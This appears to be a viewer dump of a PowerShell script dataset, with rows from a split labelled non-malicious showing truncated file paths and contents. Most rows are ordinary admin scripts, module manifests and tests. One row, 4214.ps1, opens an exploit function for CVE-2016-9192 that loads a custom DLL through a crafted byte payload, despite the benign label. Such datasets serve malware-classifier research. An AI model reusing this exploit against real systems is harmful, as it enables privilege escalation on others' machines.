full_path
stringlengths
31
232
filename
stringlengths
4
167
content
stringlengths
0
48.3M
combined_dataset/train/non-malicious/Start-ISE.ps1
Start-ISE.ps1
function Start-ISE () { <# .synopsis Load some file into ISE .Description Load some file into ISE .Parameter fileObjOrFileName file to be loaded .ReturnValue $null .Notes Author: bernd kriszio e-mail: bkriszio@googlemail.com ...
combined_dataset/train/non-malicious/sample_66_23.ps1
sample_66_23.ps1
# ------------------------------------------------------------ # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License (MIT). See License.txt in the repo root for license information. # ------------------------------------------------------------ param ( [Parameter(Mand...
combined_dataset/train/non-malicious/Compare-Drive.ps1
Compare-Drive.ps1
param($ComputerName1,$ComputerName2) $a = gwmi win32_volume -filter "DriveType=3" -computername $ComputerName1 | where {@('Y:','Z:') -notcontains $_.DriveLetter} | select name, @{n='capacity'; e={[math]::truncate($_.Capacity/1GB)}} $b = gwmi win32_volume -filter "DriveType=3" -computername $ComputerName2 | where ...
combined_dataset/train/non-malicious/sample_44_33.ps1
sample_44_33.ps1
# Implement your module commands in this script. # Export only the functions using PowerShell standard verb-noun naming. # Be sure to list each exported functions in the FunctionsToExport field of the module manifest file. # This improves performance of command discovery in PowerShell. Export-ModuleMember -Function *...
combined_dataset/train/non-malicious/1564.ps1
1564.ps1
function Get-MrRemotePSSession { [CmdletBinding()] param ( [Parameter(ValueFromPipeline)] [string[]]$ComputerName = $env:COMPUTERNAME , [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty ) BEGIN { $Par...
combined_dataset/train/non-malicious/3163.ps1
3163.ps1
function Get-GraphAPIToken { param ( [Parameter(Mandatory=$true)] $TenantName, [Parameter(Mandatory=$false)] $UserName, [Parameter(Mandatory=$false)] $Password, [Parameter(Mandatory=$false)] ...
combined_dataset/train/non-malicious/sample_9_96.ps1
sample_9_96.ps1
ConvertFrom-StringData @' id_evalmediachecking=Checking information for Evaluation Media '@ # SIG # Begin signature block # MIIoQwYJKoZIhvcNAQcCoIIoNDCCKDACAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADAxMA0GCWCGSAFlAwQCAQUABCAVAd...
combined_dataset/train/non-malicious/1814.ps1
1814.ps1
Describe "Test-Path" -Tags "CI" { BeforeAll { $testdirectory = $TestDrive $testfilename = New-Item -path $testdirectory -Name testfile.txt -ItemType file -Value 1 -force New-Item -Path $testdirectory -Name datestfile -value 1 -ItemType file | Out-Null New-Item -Path $test...
combined_dataset/train/non-malicious/89.ps1
89.ps1
function Get-AuthToken { [cmdletbinding()] param ( [Parameter(Mandatory=$true)] $User ) $userUpn = New-Object "System.Net.Mail.MailAddress" -ArgumentList $User $tenant = $userUpn.Host Write-Host "Checking for AzureAD module..." $AadModule = Get-Module -Name "AzureAD" -ListAvailable if ($Aad...
combined_dataset/train/non-malicious/sample_13_62.ps1
sample_13_62.ps1
# # Module manifest for module 'OCI.PSModules.Osubsubscription' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Osubsubscription.dll' # Version number of this module. ModuleVersion = '79.0.0' # Supported...
combined_dataset/train/non-malicious/sample_62_91.ps1
sample_62_91.ps1
# ------------------------------------------------------------ # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License (MIT). See License.txt in the repo root for license information. # ------------------------------------------------------------ function Copy-ToTemp { ...
combined_dataset/train/non-malicious/3774.ps1
3774.ps1
$platformDirectory = Join-Path (Join-Path $PSScriptRoot "..") "PlatformAssemblies" if ($PSEdition -eq 'Desktop' -or $IsWindows) { $platformDirectory = Join-Path $platformDirectory "win" } elseif ($IsLinux -or $IsMacOs) { $platformDirectory = Join-Path $platformDirectory "unix" } try { $loadedAssemblies = ([Sys...
combined_dataset/train/non-malicious/Get-LeaderBoard_3.ps1
Get-LeaderBoard_3.ps1
<# .SYNOPSIS Pulls down the leaderboards for the 2011 Scripting Games .DESCRIPTION Quick and dirty script to pull down the leaderboards for the 2011 scripting games. Can choose either beginner or advanced via a command line switch. To see the output in a table, you must pipe to "format-table -autosi...
combined_dataset/train/non-malicious/Trace-Route.ps1
Trace-Route.ps1
function Trace-Route { param( # The URL to trace [Parameter(Mandatory=$true)] [Uri]$Url, # The timeout for the request, in milliseconds [Timespan]$Timeout = "0:0:0.25", # The maximum number of hops for the trace route [Int]$MaximumHops = 32 ) process { Invoke-Expressio...
combined_dataset/train/non-malicious/3854.ps1
3854.ps1
function Test-SetNewIP { $peer = Get-AzPeering -ResourceGroupName testCarrier -Name "NewExchangePeeringCVS2160" $peerIpAddress = $peer.Connections[0].BgpSession.PeerSessionIPv4Address $offset = getPeeringVariable "offSet" (Get-Random -Maximum 100 -Minimum 1 | % { $_ * 2 } ) $newIpAddress ...
combined_dataset/train/non-malicious/sample_61_22.ps1
sample_61_22.ps1
$ServerCertificateName = "CN=ServiceFabricServerCert" $ClientCertificateName = "CN=ServiceFabricClientCert" function IsSecurityX509([string]$ClusterConfigFilePath) { $jsonConfig = Get-Content $ClusterConfigFilePath -Raw | ConvertFrom-Json $properties = $jsonConfig.properties if ($properties -ne $Nul...
combined_dataset/train/non-malicious/Get-EventLogBackup.ps1
Get-EventLogBackup.ps1
Param($BackupLocation,$list,$FromAD,[switch]$clear) # For more info read the following blog entry # http://www.bsonposh.com/modules/wordpress/?p=41 function Get-ADComputers{ $filter = "(&(objectcategory=computer))" $root = [ADSI]"" $props = "dNSHostName","sAMAccountName" $Searcher = new-Object Sy...
combined_dataset/train/non-malicious/sample_27_83.ps1
sample_27_83.ps1
# ---------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the Licen...
combined_dataset/train/non-malicious/sample_51_64.ps1
sample_51_64.ps1
# # Module manifest for module 'OCI.PSModules.Blockchain' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Blockchain.dll' # Version number of this module. ModuleVersion = '83.1.0' # Supported PSEditions ...
combined_dataset/train/non-malicious/1531.ps1
1531.ps1
Set-StrictMode -Version latest $ErrorActionPreference = 'Stop' $root = (Resolve-Path $PSScriptRoot\..\..).Path $outFolder = "$root\out" Import-Module $outFolder\platyPS -Force $MyIsLinux = Get-Variable -Name IsLinux -ValueOnly -ErrorAction SilentlyContinue $MyIsMacOS = Get-Variable -Name IsMacOS -ValueOnly -ErrorActi...
combined_dataset/train/non-malicious/4095.ps1
4095.ps1
cls Set-Variable -Name Computer -Scope Global -Force Set-Variable -Name Active -Scope Global -Force Set-Variable -Name Network -Scope Global -Force Set-Variable -Name Networks -Scope Global -Force Set-Variable -Name Output -Scope Global -Force Set-Variable -Name RetVal -Scope Global -Force $Comp...
combined_dataset/train/non-malicious/sample_56_35.ps1
sample_56_35.ps1
@{ RootModule = 'PSModule.psm1' ModuleVersion = '2.2.5' GUID = '1d73a601-4a6c-43c5-ba3f-619b18bbb404' Author = 'Microsoft Corporation' CompanyName = 'Microsoft Corporation' Copyright = '(c) Microsoft Corporation. All rights reserved.' D...
combined_dataset/train/non-malicious/sample_34_71.ps1
sample_34_71.ps1
<################################################### # # # Copyright (c) Microsoft. All rights reserved. # # # ##################################################> Import-Module $PSScriptRoot\Tracer.psm1 <# ....
combined_dataset/train/non-malicious/sample_15_76.ps1
sample_15_76.ps1
# Copyright (C) Intel Corporation,2021 All Rights Reserved. function Invoke-AddPrivateKey { <# .Synopsis Add a private key to AMT .Description This cmdlet adds a private key to AMT using a private key file given by user. .Notes Supported AMT Firmware Versions: 3.2 and higher AMT P...
combined_dataset/train/non-malicious/sample_45_73.ps1
sample_45_73.ps1
# Copyright (c) Microsoft Corporation. # Licensed under the MIT License. function Set-ScriptExtent { <# .EXTERNALHELP ..\PowerShellEditorServices.Commands-help.xml #> [CmdletBinding(PositionalBinding = $false, DefaultParameterSetName = '__AllParameterSets')] param( [Parameter(Posit...
combined_dataset/train/non-malicious/sample_41_86.ps1
sample_41_86.ps1
function trySetDesignerProp(tname, ttype, val) { var trait = document.designerProps.getOrCreateTrait(tname, ttype, 0); trait.value = val; } if (command.getTrait("state").value == 0) { command.getTrait("state").value = 2; trySetDesignerProp("exportAsText", "bool", true); } else { command.g...
combined_dataset/train/non-malicious/SharpSsh 3.ps1
SharpSsh 3.ps1
#requires -version 2.0 ## A simple SSH Scripting module for PowerShell ## History: ## v1 - Initial Script ## v2 - Capture default prompt in New-SshSession ## v3 - Update to advanced functions, require 2.0, and add basic help ## USING the binaries from: ## http://downloads.sourceforge.net/sharpssh/SharpSSH-1.1....
combined_dataset/train/non-malicious/3531.ps1
3531.ps1
function Test-AzureRmContainerGroup { $resourceGroupName = Get-RandomResourceGroupName $containerGroupName = Get-RandomContainerGroupName $location = Get-ProviderLocation "Microsoft.ContainerInstance/ContainerGroups" $image = "nginx" $osType = "Linux" $restartPolicy = "Never" ...
combined_dataset/train/non-malicious/Get-ADGroupMembers_1.ps1
Get-ADGroupMembers_1.ps1
Function Get-ADGroupMembers { <# .SYNOPSIS Return a collection of users in an ActiveDirectory group. .DESCRIPTION This function returns an object that contains all the properties of a user object. This function works for small groups as well as groups in ex...
combined_dataset/train/non-malicious/1815.ps1
1815.ps1
$computerInfoAll = $null $testStartTime = Get-Date function Get-ComputerInfoForTest { param([string[]] $properties = $null, [switch] $forceRefresh) if ( ! $IsWindows ) { return $null } $computerInfo = $null if ( $properties ) { return Get-ComputerInfo ...
combined_dataset/train/non-malicious/Chassis Type_2.ps1
Chassis Type_2.ps1
$system = Get-WMIObject -class Win32_systemenclosure $type = $system.chassistypes Switch ($Type) { "1" {"Chassis type is: $Type - Other"} "2" {"Chassis type is: $type - Virtual Machine"} "3" {"Chassis type is: $type - Desktop"} "4" {"Chassis type is: $type - Low Profile Desk...
combined_dataset/train/non-malicious/2327.ps1
2327.ps1
Write-Progress -Activity "Remove Apps" -Status "Looking for apps to remove..." -PercentComplete 0 $PackagesToRemove = "Microsoft.3DBuilder", "Microsoft.Microsoft3DViewer", "Microsoft.BingFinance", "Microsoft.BingNews", "Microsoft.BingSports", "Microsoft.BingTranslator", "Microsoft.CommsPhone", "Microsoft.Getstarted",...
combined_dataset/train/non-malicious/sample_48_41.ps1
sample_48_41.ps1
# # Module manifest for module 'OCI.PSModules.Osmanagementhub' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Osmanagementhub.dll' # Version number of this module. ModuleVersion = '83.2.0' # Supported P...
combined_dataset/train/non-malicious/Invoke-SqlCmd_4.ps1
Invoke-SqlCmd_4.ps1
####################### <# .SYNOPSIS Runs a T-SQL script. .DESCRIPTION Runs a T-SQL script. Invoke-Sqlcmd2 only returns message output, such as the output of PRINT statements when -verbose parameter is specified .INPUTS None You cannot pipe objects to Invoke-Sqlcmd2 .OUTPUTS System.Data.DataTable .EXA...
combined_dataset/train/non-malicious/1271.ps1
1271.ps1
function Test-CPowerShellIs32Bit { [CmdletBinding()] param( ) Set-StrictMode -Version 'Latest' Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState return -not (Test-CPowerShellIs64Bit) }
combined_dataset/train/non-malicious/634.ps1
634.ps1
param( [string]$Version, [string]$Path, [switch]$Force, $Update, $Downdgrade, [switch]$Uninstall ) $Configs = @{ Version = "2.7.6" Url = "https://www.python.org/ftp/python/2.7.6/python-2.7.6.msi" Path = "$(Split-Path -Path $MyInvocation.MyCommand.Definition -Parent)\" MSIProductName = "Python 2....
combined_dataset/train/non-malicious/Get-Scope.ps1
Get-Scope.ps1
function Get-Scope { #.Synopsis # Determine the scope of execution (are you in a module? how many scope layers deep are you?) #.Parameter Invocation # In order to correctly determine the scope, this function requires that you pass in the $MyInvocation variable when you call it. #.Parameter ToHost # If you jus...
combined_dataset/train/non-malicious/Out-Report.ps1
Out-Report.ps1
#Depends on Microsoft Report Viewer Redistributable and ReportExporters #ReportExporters available at http://www.codeproject.com/KB/reporting-services/ReportExporters_WinForms.aspx #Download demo version of ReportExporters for compiled dlls #Tested with Microsoft Report Viewer 2008 SP1 Redistributable, although 2005...
combined_dataset/train/non-malicious/AD Recycle Bin - Restore.ps1
AD Recycle Bin - Restore.ps1
' Script: Create_Restore.vbs ' Purpose: This script will graphically create a Powershell script based on user input, the powershell script can be run to restore deleted AD Objects ' Author: Paperclips ' Email: magiconion_M@hotmail.com ' Date: Feb 2011 ' Comments: Creating a ps1 script to rest...
combined_dataset/train/non-malicious/sample_11_66.ps1
sample_11_66.ps1
<# .SYNOPSIS Simplify data collection and diagnostics for troubleshooting Microsoft Remote Desktop (RDP/RDS/AVD/W365) related issues and a convenient method for submitting and following quick & easy action plans. .DESCRIPTION This script is designed to gather information to assist Microsoft Customer Suppo...
combined_dataset/train/non-malicious/2488.ps1
2488.ps1
[CmdletBinding()] param () begin { Set-StrictMode -Version Latest $ErrorActionPreference = 'Stop' } process { try { $Netstat = (netstat -anb | where {$_ -and ($_ -ne 'Active Connections')}).Trim() | Select-Object -Skip 1 | foreach {$_ -replace '\s{2,}','|'} $i = ...
combined_dataset/train/non-malicious/4aea4469-64f1-4f01-9c7f-054ecd61a063.ps1
4aea4469-64f1-4f01-9c7f-054ecd61a063.ps1
function Get-VCTime() { return (Get-View "ServiceInstance-ServiceInstance").CurrentTime() } $lastCheckTime = Get-VCTime while ($true) { $modifiedVMs = @() $freshEventsStartTime = $lastCheckTime $lastCheckTime = Get-VCTime # Get all the VM network edit events foreach ($event in Get...
combined_dataset/train/non-malicious/chkhash_17.ps1
chkhash_17.ps1
# calculate SHA512 of file. function Get-SHA512([System.IO.FileInfo] $file = $(throw 'Usage: Get-MD5 [System.IO.FileInfo]')) { $stream = $null; $cryptoServiceProvider = [System.Security.Cryptography.SHA512CryptoServiceProvider]; $hashAlgorithm = new-object $cryptoServiceProvider $stream = $file.Open...
combined_dataset/train/non-malicious/908.ps1
908.ps1
$registryName = "<container-registry-name>" $resourceGroup = "<resource-group-name>" $servicePrincipalId = "<service-principal-id>" $registry = Get-AzContainerRegistry -ResourceGroupName $resourceGroup -Name $registryName $sp = Get-AzADServicePrincipal -ServicePrincipalName $servicePrincipalId $role = N...
combined_dataset/train/non-malicious/sample_6_52.ps1
sample_6_52.ps1
#************************************************ # TS_ClusterXsigoDriverNetworkCheck.ps1 # Version 1.0.1 # Date: 6/5/2012 # Author: v-kaw # Description: [Idea ID 2169] [Windows] Xsigo network host driver can cause Cluster disconnects # Rule number: 2169 # Rule URL: http://sharepoint/sites/rules/Rule Submissi...
combined_dataset/train/non-malicious/sample_33_19.ps1
sample_33_19.ps1
# # Module manifest for module 'OCI.PSModules.Servicecatalog' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Servicecatalog.dll' # Version number of this module. ModuleVersion = '74.1.0' # Supported PSE...
combined_dataset/train/non-malicious/c36fba47-49ce-4fb7-8194-54b0294b4a9b.ps1
c36fba47-49ce-4fb7-8194-54b0294b4a9b.ps1
function Write-Host { <# .SYNOPSIS Replacement of Write-Host function to work around an issue where use of Write-Host can cause an eventual problem with launching EXEs from within the same Powershell session. .DESCRIPTION This Write-Host replacement can act as a temporary wo...
combined_dataset/train/non-malicious/sample_5_32.ps1
sample_5_32.ps1
ConvertFrom-StringData @' id_sql_setup_sql_os_debug_registry_keys=OS Debug and Recovery Registry Keys id_sql_setup_sql_os_debug_registry_keys_description=Collecting OS Debug and Recovery Registry Keys '@ # SIG # Begin signature block # MIIoUgYJKoZIhvcNAQcCoIIoQzCCKD8CAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3A...
combined_dataset/train/non-malicious/910.ps1
910.ps1
$subscriptionId = 'yourSubscriptionId' $resourceGroupName ='yourResourceGroupName' $diskName = 'yourDiskName' $diskSize = '128' $storageType = 'Premium_LRS' $location = 'westus' $sourceVHDURI = 'https://contosostorageaccount1.blob.core.windows.net/vhds/contosovhd123.vhd' $storageAccountId = '/subs...
combined_dataset/train/non-malicious/sample_7_75.ps1
sample_7_75.ps1
<# /// <copyright> /// INTEL CONFIDENTIAL /// /// Copyright 2014 Intel Corporation /// /// This software and the related documents are Intel copyrighted materials, and your use of /// them is governed by the express license under which they were provided to you ("License"). /// Unless the License provides other...
combined_dataset/train/non-malicious/sample_63_66.ps1
sample_63_66.ps1
<################################################### # # # Copyright (c) Microsoft. All rights reserved. # # # ##################################################> <# .DESCRIPTION This function takes the config...
combined_dataset/train/non-malicious/sample_13_34.ps1
sample_13_34.ps1
@{ GUID = "A94C8C7E-9810-47C0-B8AF-65089C13A35A" Author = "PowerShell" CompanyName = "Microsoft Corporation" Copyright = "Copyright (c) Microsoft Corporation." ModuleVersion = "7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion = "3.0" FunctionsToExport = @() CmdletsToExport = "Get-Credential", "Get-ExecutionP...
combined_dataset/train/non-malicious/sample_52_47.ps1
sample_52_47.ps1
# # Module manifest for module 'OCI.PSModules.Recovery' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Recovery.dll' # Version number of this module. ModuleVersion = '83.1.0' # Supported PSEditions Comp...
combined_dataset/train/non-malicious/Get-Selection.ps1
Get-Selection.ps1
function Write-Choice { param($prompt, $choice) write-host -n "[" write-host -n -f yellow $prompt write-host "]", $choice Write-Output $prompt } function Get-Selection { param( [Parameter(Mandatory=$true,ValueFromPipeline=$true,Position=0,HelpMessage="Choices")] [Object] $choice, [Parameter(...
combined_dataset/train/non-malicious/CDRom Open__Close.ps1
CDRom Open__Close.ps1
using System; using System.Reflection; using System.Globalization; using System.Runtime.InteropServices; [assembly: AssemblyVersion("2.0.0.0")] namespace CDRomOpenClose { internal static class WinAPI { [DllImport("kernel32.dll", CharSet = CharSet.Unicode)] internal static extern IntPtr CreateFile(...
combined_dataset/train/non-malicious/sample_48_39.ps1
sample_48_39.ps1
# # Module manifest for module 'OCI.PSModules.Licensemanager' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Licensemanager.dll' # Version number of this module. ModuleVersion = '74.1.0' # Supported PSE...
combined_dataset/train/non-malicious/sample_3_79.ps1
sample_3_79.ps1
#************************************************ # TS_ModernAppsFailureForWindDefenderCheck.ps1 # Version 1.0.1 # Date: 03/22/2013 # Author: v-alyao # Description: [Idea ID 7723] [Windows] WinStore - Modern applications fail to start if incompatible security - av software installed # Rule number: 7723 # Rule ...
combined_dataset/train/non-malicious/4214.ps1
4214.ps1
Function Invoke-CVE-2016-9192 { param ($CustomDLL) [Byte[]] $payload = 0x4F, 0x43, 0x53, 0x43, 0x1A, 0x00, 0xE4, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x02, ...
combined_dataset/train/non-malicious/Add-SqlTable_1.ps1
Add-SqlTable_1.ps1
try {add-type -AssemblyName "Microsoft.SqlServer.Smo, Version=10.0.0.0, Culture=neutral, PublicKeyToken=89845dcd8080cc91" -EA Stop} catch {add-type -AssemblyName "Microsoft.SqlServer.Smo"} ####################### function Get-SqlType { param([string]$TypeName) switch ($TypeName) { 'Bool...
combined_dataset/train/non-malicious/Brushes.ps1
Brushes.ps1
$frmMain_OnLoad= { $m_BrushSize = New-Object Drawing.Rectangle(0, 0, $picDemo.Width, $picDemo.Height) $wm = [Drawing.Drawing2D.WrapMode] $cboWraM.Items.AddRange(@($wm::Clamp, $wm::Tile, $wm::TileFlipX, $wm::TileFlipY, $wm::TileFlipXY)) $cboWraM.SelectedIndex = 0 [int]$maxHatchStyle = 53 for ($i ...
combined_dataset/train/non-malicious/sample_59_90.ps1
sample_59_90.ps1
########################################################################## # DELL PROPRIETARY INFORMATION # # This software is confidential. Dell Inc., or one of its subsidiaries, has supplied this # software to you under the terms of a license agreement,nondisclosure agreement or both. # You may not copy, disclose, o...
combined_dataset/train/non-malicious/sample_63_15.ps1
sample_63_15.ps1
## Copyright (c) Microsoft Corporation. All rights reserved. <# .SYNOPSIS This cmdlet collects a performance recording of Microsoft Defender Antivirus scans. .DESCRIPTION This cmdlet collects a performance recording of Microsoft Defender Antivirus scans. These performance recordings contain Microsoft-Antimal...
combined_dataset/train/non-malicious/Get-GrowthRate_2.ps1
Get-GrowthRate_2.ps1
function Get-GrowthRate { param( $Start, $End, $Period ) @@ $rate = [math]::Abs( [math]::Pow( ( $End / $Start ),( 1 / ($Period - 1 ) ) - 1 ) "{0:P}" -f $rate }
combined_dataset/train/non-malicious/sample_30_61.ps1
sample_30_61.ps1
# # Module manifest for module 'OCI.PSModules.Waf' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Waf.dll' # Version number of this module. ModuleVersion = '80.0.0' # Supported PSEditions CompatiblePSEd...
combined_dataset/train/non-malicious/sample_30_45.ps1
sample_30_45.ps1
# # Module manifest for module 'OCI.PSModules.Aivision' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Aivision.dll' # Version number of this module. ModuleVersion = '79.0.0' # Supported PSEditions Comp...
combined_dataset/train/non-malicious/2135.ps1
2135.ps1
Describe "Experimental Feature: && and || operators - Feature-Enabled" -Tag CI { BeforeAll { $skipTest = -not $EnabledExperimentalFeatures.Contains('PSPipelineChainOperators') if ($skipTest) { Write-Verbose "Test Suite Skipped: These tests require the PSPipelineChainOperators ...
combined_dataset/train/non-malicious/186.ps1
186.ps1
function Out-Excel { [CmdletBinding()] PARAM ([string[]]$property, [switch]$raw) BEGIN { $Excel = New-Object -Com Excel.Application $Excel.visible = $True $Excel = $Excel.Workbooks.Add() $Sheet = $Excel.Worksheets.Item(1) $Row = 1 $HeaderHash = @{ } } PROCESS { if ($_ -eq $null) { retur...
combined_dataset/train/non-malicious/sample_24_42.ps1
sample_24_42.ps1
# # Module manifest for module 'OCI.PSModules.Healthchecks' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Healthchecks.dll' # Version number of this module. ModuleVersion = '77.0.0' # Supported PSEditi...
combined_dataset/train/non-malicious/2472.ps1
2472.ps1
param( [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$AzureWebAppName, [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$AzureResourceGroup, [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$VirtualPath, [Parameter(Mandatory)] [ValidateNotNullOrEmpty()] [string]$PhysicalPa...
combined_dataset/train/non-malicious/Enter-Module.ps1
Enter-Module.ps1
##############################################################################\n##\n## Enter-Module\n##\n## From Windows PowerShell Cookbook (O'Reilly)\n## by Lee Holmes (http://www.leeholmes.com/guide)\n##\n##############################################################################\n\n<#\n\n.SYNOPSIS\n\nLets you ex...
combined_dataset/train/non-malicious/sample_3_76.ps1
sample_3_76.ps1
ConvertFrom-StringData @' id_crmcollectactivity=Collecting System Information id_crmformattingdata=Formatting Data '@ # SIG # Begin signature block # MIIoRgYJKoZIhvcNAQcCoIIoNzCCKDMCAQExDzANBglghkgBZQMEAgEFADB5Bgor # BgEEAYI3AgEEoGswaTA0BgorBgEEAYI3AgEeMCYCAwEAAAQQH8w7YFlLCE63JNLG # KX7zUQIBAAIBAAIBAAIBAAIBADA...
combined_dataset/train/non-malicious/Findup_31.ps1
Findup_31.ps1
using System; using System.Collections; using System.Collections.Generic; using System.Text; using System.Security.Cryptography; using System.Runtime.InteropServices; using Microsoft.Win32; using System.IO; using System.Text.RegularExpressions; namespace Findup { public class FileLengthComparer : I...
combined_dataset/train/non-malicious/Get-WebFile _2.7.ps1
Get-WebFile _2.7.ps1
## Function Get-WebFile (aka wget for PowerShell) ## Author: Joel Bennett and ## Peter Kriegel http://www.admin-source.de ## Original : http://poshcode.org/417 ## ############################################################################################################## ## Downloads a file or page from the web...
combined_dataset/train/non-malicious/sample_52_11.ps1
sample_52_11.ps1
# # Module manifest for module 'OCI.PSModules.Operatoraccesscontrol' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Operatoraccesscontrol.dll' # Version number of this module. ModuleVersion = '81.0.0' #...
combined_dataset/train/non-malicious/sample_13_97.ps1
sample_13_97.ps1
#Collect Event Logs for VSSBackup package $EventLogNames = @("Microsoft-Windows-Backup", "Microsoft-Windows-VHDMP/Operational", "System", "Application") Run-DiagExpression .\TS_GetEvents.ps1 -EventLogNames $EventLogNames -SectionDescription "Event Logs" # SIG # Begin signature block # MIIoRgYJKoZIhvcNAQcCoIIoNz...
combined_dataset/train/non-malicious/New-CodeSigningCert_1.ps1
New-CodeSigningCert_1.ps1
## New-CodeSigningCert.ps1 ######################################################################################################################## ## Does the setup needed to self-sign PowerShell scripts ... ## Generates a "test" self-signed root Certificate Authority ## And then generates a code-signing certific...
combined_dataset/train/non-malicious/327.ps1
327.ps1
function Get-PSFScriptblock { [OutputType([PSFramework.Utility.ScriptBlockItem], ParameterSetName = 'List')] [OutputType([System.Management.Automation.ScriptBlock], ParameterSetName = 'Name')] [Diagnostics.CodeAnalysis.SuppressMessageAttribute("PSAvoidDefaultValueForMandatoryParameter", "")] [CmdletBinding(Default...
combined_dataset/train/non-malicious/RSS Enclosure Downloader_1.ps1
RSS Enclosure Downloader_1.ps1
# author: Alexander Grofl # http://www.therightstuff.de/2008/07/25/RSS+Enclosure+Downloader+In+PowerShell.aspx $feed=[xml](New-Object System.Net.WebClient).DownloadString("http://the/rss/feed/url") foreach($i in $feed.rss.channel.item) { $url = New-Object System.Uri($i.enclosure.url) $url.ToString() $url.Se...
combined_dataset/train/non-malicious/sample_37_78.ps1
sample_37_78.ps1
@{ GUID="c61d6278-02a3-4618-ae37-a524d40a7f44 " Author="PowerShell" CompanyName="Microsoft Corporation" Copyright="Copyright (c) Microsoft Corporation." ModuleVersion="7.0.0.0" CompatiblePSEditions = @("Core") PowerShellVersion="3.0" ModuleToProcess="PSDiagnostics.psm1" Func...
combined_dataset/train/non-malicious/ESXiMgmt module sample 5.ps1
ESXiMgmt module sample 5.ps1
####################################################################################################################### # File: ESXiMgmt_register_all_virtual_machines_sample.ps1 # # Author: Alexander Petrovskiy ...
combined_dataset/train/non-malicious/Get-ExcludedCsprojJavasc_1.ps1
Get-ExcludedCsprojJavasc_1.ps1
param( $projectDirectoryName = "MyProject" ) $thisDir = Split-Path $MyInvocation.MyCommand.Path $projectDir = "$thisDir/../$projectDirectoryName" $csproj = [xml](cat $projectDir/*.csproj) $csprojScripts = $csproj.Project.ItemGroup.Content.Include | ? {$_ -match '\\.js$'} "$($csprojScripts.length) scrip...
combined_dataset/train/non-malicious/sample_59_35.ps1
sample_59_35.ps1
# # Module manifest for module 'OCI.PSModules.Bastion' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Bastion.dll' # Version number of this module. ModuleVersion = '86.0.0' # Supported PSEditions Compat...
combined_dataset/train/non-malicious/sample_47_58.ps1
sample_47_58.ps1
# # Module manifest for module 'OCI.PSModules.Stackmonitoring' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Stackmonitoring.dll' # Version number of this module. ModuleVersion = '82.0.0' # Supported P...
combined_dataset/train/non-malicious/sample_29_93.ps1
sample_29_93.ps1
# # Module manifest for module 'OCI.PSModules.Servicemesh' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Servicemesh.dll' # Version number of this module. ModuleVersion = '80.0.0' # Supported PSEdition...
combined_dataset/train/non-malicious/sample_34_31.ps1
sample_34_31.ps1
# # Module manifest for module 'OCI.PSModules.Aivision' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Aivision.dll' # Version number of this module. ModuleVersion = '73.1.0' # Supported PSEditions Comp...
combined_dataset/train/non-malicious/sample_1_83.ps1
sample_1_83.ps1
# # Module manifest for module 'OCI.PSModules.Filestorage' # # Generated by: Oracle Cloud Infrastructure # # @{ # Script module or binary module file associated with this manifest. RootModule = 'assemblies/OCI.PSModules.Filestorage.dll' # Version number of this module. ModuleVersion = '92.1.0' # Supported PSEdition...
combined_dataset/train/non-malicious/1959.ps1
1959.ps1
Describe "Get-Uptime" -Tags "CI" { BeforeAll { $IsHighResolution = [system.diagnostics.stopwatch]::IsHighResolution if ( ! $IsHighResolution ) { $origDefaults = $PSDefaultParameterValues.Clone() $PSDefaultParameterValues['it:skip'] = $true...
combined_dataset/train/non-malicious/TabExpansion_14.ps1
TabExpansion_14.ps1
## Tab-Completion ################# ## Please dot souce this script file. ## In first loading, it may take a several minutes, in order to generate ProgIDs and TypeNames list. ## ## What this can do is: ## ## [datetime]::n<tab> ## [datetime]::now.d<tab> ## $a = New-Object "Int32[,]" 2,3; $b = "PowerShell","Pow...
combined_dataset/train/non-malicious/sample_7_31.ps1
sample_7_31.ps1
